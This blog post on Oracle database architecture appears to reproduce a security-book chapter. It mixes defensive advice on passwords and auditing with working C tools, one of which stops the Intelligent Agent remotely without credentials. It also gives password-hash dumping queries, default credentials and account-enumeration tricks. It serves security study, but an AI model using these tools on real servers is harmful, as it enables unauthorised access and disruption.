Pages

Sunday, December 18, 2011

The Oracle Architecture

Overview

Oracle is probably the most popular database server out there, with the largest share of the market. It's used in most vertical market areas for a range of storage needs such as financial records, human resources, billing, and so on. One of the reasons for this is that Oracle was an earlier player in the RDBMS area and it provided versions of its database that ran on most operating systems; and it still does, although it seems its preferred OS of choice is moving away from Solaris toward Linux. In the wild you more often come across Oracle running on these platforms but there's also a good deal of Oracle running on HP-UX and AIX. It also seems with the explosion of e-Commerce a few years back that Oracle gained a lot of traction as the database of choice for web applications. This took the database one step closer to the hands of attackers and indeed, once Oracle came into the light from out of the backend of the backend, it gained more attention from the security side of things.
Oracle produces, in my opinion and as far as storing and querying data is concerned, one of the best database servers available. It's incredibly configurable and highly functional. There's an interface into the RDBMS to suit almost any developer taste and for every business use that can be dreamed of, it seems that Oracle has already provided the solution. All of this comes at a cost, though. Each sliver of functionality provides a breadth of attack surface; each solution a potential attack vector. The problem isn't just getting to grips with the abundance of functionality to configure, however. The code behind the RDBMS has historically been subject to a number of buffer overflows, and other security problems such as PL/SQL Injection in default packages and procedures have required patches in the past. All this said, as long as your database server doesn't ever get attacked, and of course assuming you're running Oracle, then you can long enjoy the great benefits this powerful RDBMS provides. But let's face it: in today's world it's not a case of, "Will I be attacked?" It's a case of "When will I be attacked?" So, if you are actually concerned about your Oracle security or lack thereof, read on.

Examining the Oracle Architecture

We begin this chapter by examining the physical layout of the database, such as the Oracle processes and how they interact with the network. We move on to examining authentication and authorization and then move to the logical layout of the database.

Oracle Processes and Oracle on the Network

This section describes the major components of Oracle and their interaction with the network. We begin with perhaps the most crucial network-facing component, the TNS Listener.

The Oracle TNS Listener

The TNS Listener is the hub of all communications in Oracle. "TNS" stands for Transparent Network Substrate and this is the protocol that Oracle uses to communicate between client and server. The TNS protocol is described on the Ethereal web site at http://www.ethereal.com/docs/dfref/t/tns.html.
The TNS Listener responds to a number of commands such as "version," "status," and "services," and when a database server is first started, it registers with the TNS Listener using the service_register_NSGR command. This lets the TNS Listener know that the database server is ready to accept connections. Incidentally, although the service_register_NSGR command is intended to be used locally the command can be sent over the network. In the past there have been denial of service issues with this command that can kill the TNS Listener.
When a client wishes to access the database server, the client connects first to the Listener. The Listener replies back with a TCP port that the client should connect to. The client connects to this port and then authenticates to the database server. If, however, the database has been configured in MTS, or Multi Threaded Server, mode then no port is assigned as such and communication with the database server takes place over the same TCP port that the Listener is listening on. The TNS Listener usually listens on TCP port 1521 but, depending upon the version of Oracle and what applications have been installed this port may be different, for example 1526. Regardless, the TNS Listener can be configured to listen on any TCP port.
The TNS Listener is also integral to PL/SQL and external procedures that we'll talk about later. Essentially when a PL/SQL procedure calls an external procedure, the RDBMS connects to the Listener, and the Listener launches a program called extproc to which the RDBMS connects. Extproc loads the library and executes the required function. As you'll see later this can be abused by attackers to run commands without a user ID or password.
If the XML Database is enabled—and it is by default in Oracle 9 and later—the TNS Listener holds open TCP port 2100 and 8080. The former allows querying of XML data over the FTP protocol and the latter over HTTP. The Listener proxies traffic on these ports to the RDBMS.
In versions of Oracle prior to 10g, the TNS Listener could be administered remotely. What makes this particularly dangerous is the fact that by default the Listener is installed without a password so it is possible for anyone to administer the Listener. A password should be set to help secure the system. The Listener Control Utility, lsnrctl, is the tool used to manage the Listener. Using this tool it's possible, among other things, to query the Listener for registered database services and retrieve status information:
C:\oracle\ora92\bin>lsnrctl
LSNRCTL for 32-bit Windows: Version 9.2.0.1.0 - Production on 10-OCT-2004 17:31:49
Copyright (c) 1991, 2002, Oracle Corporation.  All rights reserved.
Welcome to LSNRCTL, type "help" for information.
LSNRCTL> set current_listener 10.1.1.1
Current Listener is 192.168.0.34
LSNRCTL> status
Connecting to (DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=10.1.1.1))
(ADDRESS=(PROTOCOL=TCP)(HOST=10.1.1.1)(PORT=1521)))
STATUS of the LISTENER
------------------------
Alias                     LISTENER
Version                   TNSLSNR for 32-bit Windows: Version 9.2.0.1.0 - Production
Start Date                10-OCT-2004 16:12:50
Uptime                    0 days 1 hr. 19 min. 23 sec
Trace Level               off
Security                  ON
SNMP                      OFF
Listener Parameter File   C:\oracle\ora92\network\admin\listener.ora
Listener Log File         C:\oracle\ora92\network\log\listener.log
Listening Endpoints Summary...
  (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(PIPENAME=\\.\pipe\EXTPROC0ipc)))
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=1521)))
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=8080))
(Presentation=HTTP)(Session=RAW))
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=2100))
(Presentation=FTP)(Session=RAW))
Services Summary...
Service "ORAXP" has 1 instance(s).
  Instance "ORAXP", status UNKNOWN, has 1 handler(s) for this service...
Service "PLSExtProc" has 1 instance(s).
  Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...
Service "oraxp.ngssoftware.com" has 1 instance(s).
  Instance "oraxp", status READY, has 1 handler(s) for this service...
Service "oraxpXDB.ngssoftware.com" has 1 instance(s).
  Instance "oraxp", status READY, has 1 handler(s) for this service...
The command completed successfully
LSNRCTL>
 
As you can see this leaks all kinds of useful information. As an interesting aside, if the Listener receives an invalid TNS packet, it will reply with a packet similar to
IP Header
      Length and version: 0x45
      Type of service: 0x00
      Total length: 94
      Identifier: 61557
      Flags: 0x4000
      TTL: 128
      Protocol: 6 (TCP)
      Checksum: 0x884c
      Source IP: 10.1.1.1
      Dest IP: 10.1.1.2
TCP Header
      Source port: 1521
      Dest port: 3100
      Sequence: 2627528132
      ack: 759427443
      Header length: 0x50
      Flags: 0x18 (ACK PSH )
      Window Size: 17450
      Checksum: 0xe1e8
      Urgent Pointer: 0
Raw Data
      00 36 00 00 04 00 00 00 22 00 00 2a 28 44 45 53  ( 6      "  *(DES)
      43 52 49 50 54 49 4f 4e 3d 28 45 52 52 3d 31 31  (CRIPTION=(ERR=11)
      35 33 29 28 56 53 4e 4e 55 4d 3d 31 35 31 30 30  (53)(VSNNUM=15100)
      30 30 36 35 29 29                                (0065)))

Looking at the value of VSNNUM, 151000065 in this case, we can derive the version of the server. When 151000065 is converted into hex we begin to see it better: 9001401. This equates to Oracle version 9.0.1.4.1. The following code can be used to query this information:
 
/************************************
/ Compile from a command line
/
/ C:\>cl /TC oraver.c /link wsock32.lib
/
*/
#include <stdio.h>
#include <windows.h>
#include <winsock.h>
   
int GetOracleVersion(void);
int StartWinsock(void);
struct hostent *he;
struct sockaddr_in s_sa;
int ListenerPort=1521;
char host[260]="";
unsigned char TNSPacket[200]=
"\x00\x46\x00\x00\x01\x00\x00\x00\x01\x37\x01\x2C\x00\x00\x08\x00"
"\x7F\xFF\x86\x0E\x00\x00\x01\x00\x00\x0C\x00\x3A\x00\x00\x07\xF8"
"\x0C\x0C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0A\x4C\x00\x00"
"\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00";
   
int main(int argc, char *argv[])
{
      unsigned int err=0;
      if(argc == 1)
      {
            printf("\n\t*** OraVer ***");
            printf("\n\n\tGets the Oracle version number.");
            printf("\n\n\tC:\\>%s host [port]",argv[0]);
            printf("\n\n\tDavid Litchfield\n\tdavidl@ngssoftware.com\n\t22th April 2003\n");
            return 0;
      }
      strncpy(host,argv[1],256);
      if(argc == 3)
            ListenerPort = atoi(argv[2]);
      err = StartWinsock();
      if(err==0)
            printf("Error starting Winsock.\n");
      else
            GetOracleVersion();
      WSACleanup();
      return 0;
}            
   
int StartWinsock()
{
      int err=0;
      unsigned int addr;
      WORD wVersionRequested;
      WSADATA wsaData;
      wVersionRequested = MAKEWORD( 2, 0 );
      err = WSAStartup( wVersionRequested, &wsaData );
      if ( err != 0 )
            return 0;
      
      if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 )
            return 0;
      
      s_sa.sin_addr.s_addr=INADDR_ANY;
      s_sa.sin_family=AF_INET;
      if (isalpha(host[0]))
      {
              he = gethostbyname(host);
            if(he == NULL)
            {
                  printf("Failed to look up %s\n",host);
                  return 0;
            }
            memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);
      }
      else
      {
            addr = inet_addr(host);
            memcpy(&s_sa.sin_addr,&addr,4);
      }
      return 1;
}
   
int GetOracleVersion(void)
{
      
      unsigned char resp[200]="";
      unsigned char ver[8]="";
      unsigned char h=0,l=0,p=0,q=0;
      int snd=0,rcv=0,count=0;
      SOCKET cli_sock;
      char *ptr = NULL;
   
      cli_sock=socket(AF_INET,SOCK_STREAM,0);
      if (cli_sock==INVALID_SOCKET)
                return printf("\nFailed to create the socket.\n");
      
      s_sa.sin_port=htons((unsigned short)ListenerPort);
      if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR)
      {
            printf("\nFailed to connect to the Listener.\n");
            goto The_End;
      }
      snd=send(cli_sock, TNSPacket , 0x3A , 0);
      snd=send(cli_sock, "NGSSoftware\x00" , 12 , 0);
      rcv = recv(cli_sock,resp,196,0);
      if(rcv == SOCKET_ERROR)
      {
            printf("\nThere was a receive error.\n");
            goto The_End;
      }
      while(count < rcv)
      {
            if(resp[count]==0x00)
                  resp[count]=0x20;
            count++;
      }
      
      ptr = strstr(resp,"(VSNNUM=");
      if(!ptr)
      {
            printf("\nFailed to get the version.\n");
            goto The_End;
      }
      ptr = ptr + 8;
      count = atoi(ptr);
      count = count << 4;
      memmove(ver,&count,4);
      h = ver[3] >> 4;
      l = ver[3] << 4;
      l = l >> 4;
      p = ver[1] >> 4;
      q = ver[0] >> 4;
      printf("\nVersion of Oracle is %d.%d.%d.%d.%d\n",h,l,ver[2],p,q);
The_End:
      closesocket(cli_sock);
      return 0;
}

The Oracle RDBMS

Because we'll be talking about the Oracle RDBMS in depth in later sections, we'll simply cover a few of the more important details here. One of the major differences between Oracle running on Windows and Oracle running on UNIX-based platforms is the number of processes that combine to create the actual RDBMS. On Windows there is simply the oracle.exe process, but on UNIX platforms there are multiple processes each responsible for some part of functionality. Using ps we can list these processes:
$ ps -ef | grep oracle
  oracle  17749     1  0 11:26:13 ?        0:00 ora_pmon_orasidsol
  oracle  10109     1  0   Sep 18 ?        0:01 /u01/oracle/product/9.2.0/bin/tnslsnr listener920 -inherit
  oracle  17757     1  0 11:26:16 ?        0:01 ora_smon_orasidsol
  oracle  17759     1  0 11:26:17 ?        0:00 ora_reco_orasidsol
  oracle  17751     1  0 11:26:15 ?        0:01 ora_dbw0_orasidsol
  oracle  17753     1  0 11:26:16 ?        0:01 ora_lgwr_orasidsol  
  oracle  17755     1  0 11:26:16 ?        0:05 ora_ckpt_orasidsol
  oracle  17762     1  0 11:30:59 ?        1:34 oracleorasidsol (LOCAL=NO)
Each RDBMS process has the name of the database SID appended to it—in this case orasidsol. The following list looks at each process and discusses what each does.
  • The PMON process. This is the Process Monitor process and its job is to check if any of the other processes fail, and perform housekeeping tasks if one does such as free handles and so on.
  • The SMON process. This is the System Monitor process and it is responsible for crash recovery if a database instance crashes.
  • The RECO process. This is the Distributed Transaction Recovery process and handles any unresolved transactions.
  • The DBWR process. This is the Database Writer process. There may be many such processes running. From the preceding ps listing we can see only one—numbered 0.
  • The LGWR process. This is the Log Writer process and is responsible for handling redo logs.
  • The CKPT process. This is the Checkpoint process and every so often it nudges the Database Writer process to flush its buffers.
All of these background processes are present on Windows, too; they're just all rolled up into the main oracle.exe process.
The oracleorasidsol process is what is termed the shadow or server process. It is actually this process that the client interacts with. Information about processes and sessions is stored in the V$PROCESS and V$SESSION tables in SYS schema.

The Oracle Intelligent Agent


This component is peripheral to the actual RDBMS but is integral to its management. The Intelligent Agent performs a number of roles, but probably its most significant function is to gather management and performance data, which can be queried through SNMP or Oracle's own proprietary protocols. The Agent listens on TCP port 1748, 1808, and 1809. As far as SNMP is concerned the port is configurable and may be the default of UDP 161 or often dbsnmp can be found listening for SNMP requests on 1161. In Oracle 10g dbsnmp has gone and in its place is the emagent.
Performance data can be queried remotely without having to present a username or password using the Oracle Enterprise Manager tool—specifically using the "Performance Manager" of the "Diagnostic Pack." This, needless to say, can provide attackers with a wealth of information about the remote system. For example, they could list all running processes, get memory usage, and so on.
Another of the tools provided by Oracle to manage the Intelligent Agent is the agentctl utility. Using this tool the Agent can be stopped, started, queried for its status, and blackouts started and stopped. A blackout essentially tells the Agent to stop gathering data or stop executing jobs. The agentctl utility is somewhat limited though; it can't really be used to query remote systems. However, it does use sockets on the local system to communicate with the Agent so a couple of strategic break points in a debugging session will reveal what traffic is actually being passed backward and forward. If you prefer to use port redirection tools for this kind of work this will do admirably, also. Whichever way you dump the packets you'll quickly notice that none of the communications are authenticated. This means, for example, an attacker could define blackouts or stop the Agent without having to present any username or password. The following code can be used to dump information from the Intelligent Agent:
#include <stdio.h>
#include <windows.h>
#include <winsock.h>
#define DBSNMPPORT 1748
int QueryDBSNMP(int in);
int StartWinsock(void);
struct sockaddr_in s_sa;
struct hostent *he;
unsigned int addr;
char host[260]="";
   
unsigned char Packet_1[]=
"\x00\x6A\x00\x00\x01\x00\x00\x00\x01\x38\x01\x2C\x00\x00\x08\x00"
"\x7F\xFF\x86\x0E\x00\x00\x01\x00\x00\x30\x00\x3A\x00\x00\x00\x64"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xB4\x00\x00"
"\x00\x0B\x00\x00\x00\x00\x00\x00\x00\x00\x28\x4F\x45\x4D\x5F\x4F"
"\x4D\x53\x3D\x28\x56\x45\x52\x53\x49\x4F\x4E\x3D\x28\x52\x45\x4C"
"\x45\x41\x53\x45\x3D\x39\x2E\x32\x2E\x30\x2E\x31\x2E\x30\x29\x28"
"\x52\x50\x43\x3D\x32\x2E\x30\x29\x29\x29\x54\x76\x10";
unsigned char Packet_2[]=
"\x00\x42\x00\x00\x06\x00\x00\x00\x00\x00\x28\x41\x44\x44\x52\x45"
"\x53\x53\x3D\x28\x50\x52\x4F\x54\x4F\x43\x4F\x4C\x3D\x74\x63\x70"
"\x29\x28\x48\x4F\x53\x54\x3D\x31\x36\x39\x2E\x32\x35\x34\x2E\x33"
"\x32\x2E\x31\x33\x33\x29\x28\x50\x4F\x52\x54\x3D\x31\x37\x34\x38"
"\x29\x29\x00\x3E\x00\x00\x06\x00\x00\x00\x00\x00\x20\x08\xFF\x03"
"\x01\x00\x12\x34\x34\x34\x34\x34\x78\x10\x10\x32\x10\x32\x10\x32"
"\x10\x32\x10\x32\x54\x76\x00\x78\x10\x32\x54\x76\x10\x00\x00\x80"
"\x01\x00\x00\x00\x00\x00\x84\x03\xBC\x02\x80\x02\x80\x02\x00\x00";
unsigned char Packet_3[]=
"\x00\x52\x00\x00\x06\x00\x00\x00\x00\x00\x44\x00\x00\x80\x02\x00"
"\x00\x00\x00\x04\x00\x00\xB0\x39\xD3\x00\x90\x00\x23\x00\x00\x00"
"\x44\x32\x44\x39\x46\x39\x35\x43\x38\x32\x42\x46\x2D\x30\x35\x45"
"\x44\x2D\x45\x30\x30\x30\x2D\x37\x32\x33\x30\x30\x38\x33\x31\x35"
"\x39\x42\x30\x02\x00\x30\x01\x01\x00\x01\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x1E\x00\x00\x06\x00\x00\x00\x00\x00\x10\x00\x00\x80"
"\x05\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
unsigned char Packet_4[]=
"\x00\x0A\x00\x00\x06\x00\x00\x00\x00\x40";
int main(int argc, char *argv[])
{
      int count = 56;
      if(argc != 3)
      {
            printf("\n\n\n\tOracle DBSNMP Tool\n\n\t");
            printf("C:\\>%s host status|stop",argv[0]);
            printf("\n\n\tDavid Litchfield\n\t");
            printf("davidl@ngssoftware.com");
            printf("\n\t4th June 2004\n\n\n\n");
            return 0;
      }
      strncpy(host,argv[1],250);
      if(!StartWinsock())
            return printf("Error starting Winsock.\n");
      if(stricmp(argv[2],"status")==0)
      {
            printf("\n\nStatus...\n\n");
            Packet_3[69] = 0x38;
      }
      if(stricmp(argv[2],"stop")==0)
      {
            printf("\n\nStopping...\n\n");
            Packet_3[69] = 0x37;
      }
      QueryDBSNMP(Packet_3[69]);
      WSACleanup();      
      return 0;
}            
   
int StartWinsock()
{
      int err=0;
      WORD wVersionRequested;
      WSADATA wsaData;
      wVersionRequested = MAKEWORD( 2, 0 );
      err = WSAStartup( wVersionRequested, &wsaData );
      if (err != 0)
            return 0;
      if (LOBYTE(wsaData.wVersion) !=2 || HIBYTE(wsaData.wVersion) !=0)
        {
            WSACleanup();
            return 0;
      }
      if (isalpha(host[0]))
      {
            he = gethostbyname(host);
            s_sa.sin_addr.s_addr=INADDR_ANY;
            s_sa.sin_family=AF_INET;
            memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);
        }
      else
      {
            addr = inet_addr(host);
            s_sa.sin_addr.s_addr=INADDR_ANY;
            s_sa.sin_family=AF_INET;
            memcpy(&s_sa.sin_addr,&addr,4);
            he = (struct hostent *)1;
      }
      if (he == NULL)
            return 0;
      return 1;
}
   
int QueryDBSNMP(int in)
{
      unsigned char resp[1600]="";
      int snd=0,rcv=0,count=0;
      unsigned int ttlbytes=0;
      unsigned int to=2000;
      struct sockaddr_in cli_addr;
      SOCKET cli_sock;
      cli_sock=socket(AF_INET,SOCK_STREAM,0);
      if (cli_sock==INVALID_SOCKET)
      {
            printf("socket error.\n");
            return 0;
          }
      cli_addr.sin_family=AF_INET;
      cli_addr.sin_addr.s_addr=INADDR_ANY;        
      cli_addr.sin_port=htons((unsigned short)0);
//setsockopt(cli_sock,SOL_SOCKET,SO_RCVTIMEO,(char *)&to,sizeof(unsigned int));
      if (bind(cli_sock,(LPSOCKADDR)&cli_addr,sizeof(cli_addr))==SOCKET_ERROR)
      {
            closesocket(cli_sock);
            printf("bind error");
            return 0;
          }
      s_sa.sin_port=htons((unsigned short)DBSNMPPORT);
      if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR)
      {
            closesocket(cli_sock);
            printf("Connect error");
            return 0;
      }
      snd=send(cli_sock, Packet_1 , 0x6A , 0);
      rcv = recv(cli_sock,resp,1500,0);
      if(rcv == SOCKET_ERROR)
      {
            closesocket(cli_sock);
            printf("recv error.\n");
            return 0;
      }
      PrintResponse(rcv,resp);
      snd=send(cli_sock, Packet_2 , 0x80 , 0);
      rcv = recv(cli_sock,resp,1500,0);
      if(rcv == SOCKET_ERROR)
      {
            closesocket(cli_sock);
            printf("recv error.\n");
            return 0;
      }
      PrintResponse(rcv,resp);
      snd=send(cli_sock, Packet_3 , 0x70 , 0);
      rcv = recv(cli_sock,resp,1500,0);
      if(rcv == SOCKET_ERROR)
      {
            closesocket(cli_sock);
            printf("recv error.\n");
            return 0;
      }
      PrintResponse(rcv,resp);
      if(in == 0x37)
      {
            closesocket(cli_sock);
            return printf("Oracle Intelligent Agent has stopped");
      }
      snd=send(cli_sock, Packet_4 , 0x0A , 0);
      rcv = recv(cli_sock,resp,1500,0);
      if(rcv == SOCKET_ERROR)
      {
            closesocket(cli_sock);
            printf("recv error.\n");
            return 0;
      }
      closesocket(cli_sock);
      return 0;
}
int PrintResponse(int size, unsigned char *ptr)
{
      int count = 0;
      int chk = 0;
      int sp = 0;
      printf("%.4X   ",count);
      while(count < size)
      {
            if(count % 16 == 0 && count > 0)
            {
                  printf("   ");
                  chk = count;
                  count = count - 16;
                  while(count < chk)
                  {
                        if(ptr[count]<0x20)
                              printf(".");
                        else
                              printf("%c",ptr[count]);
                        count ++;
                  }
                  printf("\n%.4X   ",count);
            }
            printf("%.2X ",ptr[count]);
            count ++;
      }
      count = count - chk;
      count = 17 - count;
      while(sp < count)
      {
            printf("   ");
            sp++;
      }
      count = chk;
      while(count < size)
      {
            if(ptr[count]<0x20)
                  printf(".");
            else
                  printf("%c",ptr[count]);
            count ++;
      }
      printf("\n\n\n\n");
      return 0;
}
The Intelligent Agent often needs to communicate with the database server and requires a user account and password for the RDBMS. By default this is DBSNMP/DBSNMP—one of the better known default Oracle accounts. When performing a security audit of an Oracle database server, I often find that all the default passwords have been changed except this one. The reason is that if you change the password on the database server, snmp traps don't work; you need to inform the Intelligent Agent of the password change, too. It seems that this is often too much hassle and is left in its default state. To properly change the password for the dbsnmp account you'll need to edit the snmp_rw.ora file as well. You can find this file on the ORACLE_HOME/network/admin directory. Add the following:
SNMP.CONNECT.SID.NAME=dbsnmp
SNMP.CONNECT.SID.PASSWORD=password
"SID" is the SID of the database server. You can get this from the snmp_ro.ora file in the same directory. Once done, change the password for DBSNMP in Oracle.
Note—never change a password using the ALTER USER command. The reason you shouldn't do this is because the SQL is logged if tracing is on, meaning that the password is also logged in clear text. Use the password command in SQL*Plus instead. In this case an encrypted version of the password is logged making it more secure against prying eyes.

Oracle Authentication and Authorization

Oracle supports two kinds of accounts: database accounts and operating system accounts. Operating system accounts are authenticated externally by the operating system and are generally preceded with OP$, whereas database accounts are authenticated against the database server. A number of users are created by default when the database is installed; some of these are integral to the correct operation of the database whereas others are simply created because a package has been installed. The most important database login on an Oracle server is the SYS login. SYS is god as far as the database is concerned and can be likened to the root account on UNIX systems or Administrator on Windows. SYS is installed with a default password of CHANGE_ON_INSTALL, although, as of 10g, the user is prompted for a password to assign—which is good (various components that you install can define default usernames and passwords—Appendix C includes a list of more than 600 default account names and passwords). Another key account is SYSTEM. This is just as powerful as SYS and has a default password of MANAGER. Incidentally, passwords in Oracle are converted to uppercase making them easier to brute force if one can get a hold of the password hashes. Details such as usernames and passwords are stored in the SYS.USER$ table.
SQL> select name,password from sys.user$ where type#=1;
NAME                           PASSWORD
------------------------------ ------------------------------
SYS                            2696A092833AFD9F
SYSTEM                         ED58B07310B19002
OUTLN                          4A3BA55E08595C81
DIP                            CE4A36B8E06CA59C
DMSYS                          BFBA5A553FD9E28A
DBSNMP                         E066D214D5421CCC
WMSYS                          7C9BA362F8314299
EXFSYS                         66F4EF5650C20355
ORDSYS                         7EFA02EC7EA6B86F
ORDPLUGINS                     88A2B2C183431F00
SI_INFORMTN_SCHEMA             84B8CBCA4D477FA3
MDSYS                          72979A94BAD2AF80
CTXSYS                         71E687F036AD56E5
OLAPSYS                        3FB8EF9DB538647C
WK_TEST                        29802572EB547DBF
XDB                            88D8364765FCE6AF
ANONYMOUS                      anonymous
SYSMAN                         447B729161192C24
MDDATA                         DF02A496267DEE66
WKSYS                          69ED49EE1851900D
WKPROXY                        B97545C4DD2ABE54
MGMT_VIEW                      B7A76767C5DB2BFD
SCOTT                          F894844C34402B67
23 rows selected.
Both SYS and SYSTEM are DBA privileged accounts but on a typical system you'll also find at least a few more DBAs—namely MDSYS, CTXSYS, WKSYS, and SYSMAN. You can list all DBAs with the following query:
SQL> select distinct a.name from sys.user$ a, sys.sysauth$ b where a.user#=b.grantee# and b.privilege#=4;
NAME
-----------------------------
CTXSYS
SYS
SYSMAN
SYSTEM
WKSYS
(If you know a bit about Oracle and are wondering why I'm not using the DBA_USERS and DBA_ROLE_PRIVS views, see the last chapter in the Oracle section—you can't trust views.)
This is enough on users and roles at the moment. Let's look at how database users are authenticated.

 

Database Authentication

When a client authenticates to the server, rather than sending a password across the wire in clear text like most other RDBMSes Oracle chooses to encrypt it. Here's how the authentication process works. First, the client connects to the TNS Listener and requests access to the RDBMS, specifying its SID. Provided the SID is valid the Listener responds with a TCP port and redirects the client to this port. On connecting to this port, to an Oracle shadow process, the client presents their username:
CLIENT to SERVER
00 c4 00 00 06 00 00 00 00 00 03 76 02 e0 91 d3  (           v    )
00 06 00 00 00 01 00 00 00 cc a2 12 00 04 00 00  (                )
00 9c a0 12 00 8c a4 12 00 06 73 79 73 74 65 6d  (          system)
0d 00 00 00 0d 41 55 54 48 5f 54 45 52 4d 49 4e  (     AUTH_TERMIN)
41 4c 07 00 00 00 07 47 4c 41 44 49 55 53 00 00  (AL     GLADIUS  )
00 00 0f 00 00 00 0f 41 55 54 48 5f 50 52 4f 47  (       AUTH_PROG)
52 41 4d 5f 4e 4d 0b 00 00 00 0b 73 71 6c 70 6c  (RAM_NM     sqlpl)
75 73 2e 65 78 65 00 00 00 00 0c 00 00 00 0c 41  (us.exe         A)
55 54 48 5f 4d 41 43 48 49 4e 45 12 00 00 00 12  (UTH_MACHINE     )
57 4f 52 4b 47 52 4f 55 50 5c 47 4c 41 44 49 55  (WORKGROUP\GLADIU)
53 00 00 00 00 00 08 00 00 00 08 41 55 54 48 5f  (S          AUTH_)
50 49 44 08 00 00 00 08 38 37 32 3a 32 34 33 36  (PID     872:2436)
00 00 00 00                                      (    )
Here you can see the client is attempting to authenticate as the "SYSTEM" user. If the user exists on the remote system, the server responds with a ses-sion key:
SERVER TO CLIENT
00 87 00 00 06 00 00 00 00 00 08 01 00 0c 00 00  (                )
00 0c 41 55 54 48 5f 53 45 53 53 4b 45 59 20 00  (  AUTH_SESSKEY  )
00 00 20 39 31 33 42 36 46 38 36 37 37 30 39 44  (   913B6F867709D)
34 34 35 39 34 34 34 41 32 41 36 45 31 31 43 44  (4459444A2A6E11CD)
45 38 45 00 00 00 00 04 01 00 00 00 00 00 00 00  (E8E             )
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  (                )
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  (                )
00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00  (                )
00 00 00 00 00 00 00                             (       )
Note that if the user does not exist on the remote server, no session key is issued. This is useful for an attacker. He or she can work out whether or not a given account exists on the server. (See the "Oracle Auditing" section at the end of this chapter to catch attacks like this.) Anyway, assuming the user does exist, the session key is sent back to the client. The client uses this session key to encrypt its password and send it back to the server for validation.
03 26 00 00 06 00 00 00 00 00 03 73 03 e0 91 d3  ( &         s    )
00 06 00 00 00 01 01 00 00 e8 b1 12 00 07 00 00  (                )
00 a0 ae 12 00 2c b4 12 00 06 73 79 73 74 65 6d  (     ,    system)
0d 00 00 00 0d 41 55 54 48 5f 50 41 53 53 57 4f  (     AUTH_PASSWO)
52 44 20 00 00 00 20 36 37 41 41 42 30 37 46 38  (RD     67AAB07F8)
45 32 41 32 46 33 42 45 44 41 45 43 32 33 31 42  (E2A2F3BEDAEC231B)
36 42 32 41 30 35 30 00 00 00 00 0d 00 00 00 0d  (6B2A050         )
Once authenticated to the database server, a user's actions are controlled using authorization. In Oracle, authorization is dictated by system and object privileges.

 

Authorization

System privileges define what a user can do to the database, whereas object privileges define what a user can do to database objects such as tables and procedures. For example, there's a system privilege that, if granted, allows a user to create procedures and once created, object privileges can be granted that allow another user to execute it. There are 173 system privileges in Oracle 10g—these can be listed with the following query:
SQL> select distinct name from sys.system_privilege_map;
As far as object privileges go there are far fewer defined—23:
SQL> select distinct name from sys.table_privilege_map;

 

Key System Privileges

There are a few system privileges, which if granted, can be abused to gain complete control of the database server. Let's look at a few.

EXECUTE ANY PROCEDURE

This gives the grantee the ability to run any procedure on the server. We'll talk more about procedures later on but suffice to say this is one of the most powerful system privileges. If granted, the user can become a DBA in the blink of an eye.

SELECT ANY DICTIONARY

Any data in the database that is integral to the operation of the database are stored in a bunch of tables collectively known as the Oracle Data Dictionary. These tables are stored in the SYS schema. If users have the SELECT ANY DICTIONARY privilege it means that they can select from any of these tables. For example they could select password hashes from the SYS.USER$ table. The DBSNMP account is a good case study for this—it's not a DBA but it does have this system privilege. It's an easy task for DBSNMP to get DBA privileges due to this.

 

GRANT ANY PRIVILEGE / ROLE / OBJECT PRIVILEGE

Any of these, if granted, can allow a user to gain control of the system. They do as their names imply.

 

CREATE LIBRARY

If users have the CREATE LIBRARY, or any of the other library privileges, then they have the ability to run arbitrary code through external procedures.

 

Oracle Auditing

This section discusses Oracle auditing—auditing in the sense of tracking what users are doing and when. Unless you check whether auditing is on or not, you're never going to know whether "big brother" is watching—if you're attacking the system at least. If you're defending a system, then auditing should be on—but not necessarily for everything. For a busy database server if every action is audited, the audit trail can become massive. At a minimum, failed and successful log on attempts should be audited as well as access to the audit trail itself.
Oracle can either log to the file system or to a database table and this is controlled with an entry in the init.ora file. To log audit information to the database, add an entry like
audit_trail = db 
To log audit information to the file system, change the "db" to "os". If audit_trail is set to "none," then no auditing is performed. If logging occurs in the database, then events are written to the SYS.AUD$ table in the data dictionary. This table stands out from others in the dictionary because rows can be deleted from it. This has significance to the validity or accuracy of the log if access to the SYS.AUD$ is not restricted, and audited.
Once auditing is enabled you need to configure what actions, events, and so on should be audited. For a full list of what can be logged refer to the Oracle documentation, but here I'll show how to turn on auditing for failed and successful log in attempts and how to protect the AUD$ table itself.
Log on to the system with DBA privileges, or at least an account that has either the AUDIT ANY or AUDIT SYSTEM privilege and issue the following statement:
AUDIT INSERT, UPDATE, DELETE ON SYS.AUD$ BY ACCESS;
This protects access to the audit trail so if someone attempts to manipulate it, the access itself will be logged. Once done, then issue
    AUDIT CREATE SESSION;
This will turn on logging for log on attempts.
When attacking a system it is often useful to know what actions and so on are being audited because this will usually point you toward the "valuable" information. For example, all access to the HR.WAGES table might be audited. To see a list of what tables are audited, run the following query:
SELECT O.NAME FROM SYS.OBJ$ O, SYS.TAB$ T 
WHERE T.AUDIT$ LIKE '%A%' 
AND O.OBJ#=T.OBJ#
What's happening here? Well, the SYS.TAB$ table contains a column called AUDIT$. This column is a varchar(38) with each varchar being a dash or an A:
    ------AA----AA------AA----------
Depending upon where an A or a dash occurs defines what action is audited, whether it be a SELECT, UPDATE, INSERT, and so on.
If execute is audited for a procedure, this can be checked by running
SELECT O.NAME FROM SYS.OBJ$ O, SYS.PROCEDURE$ P 
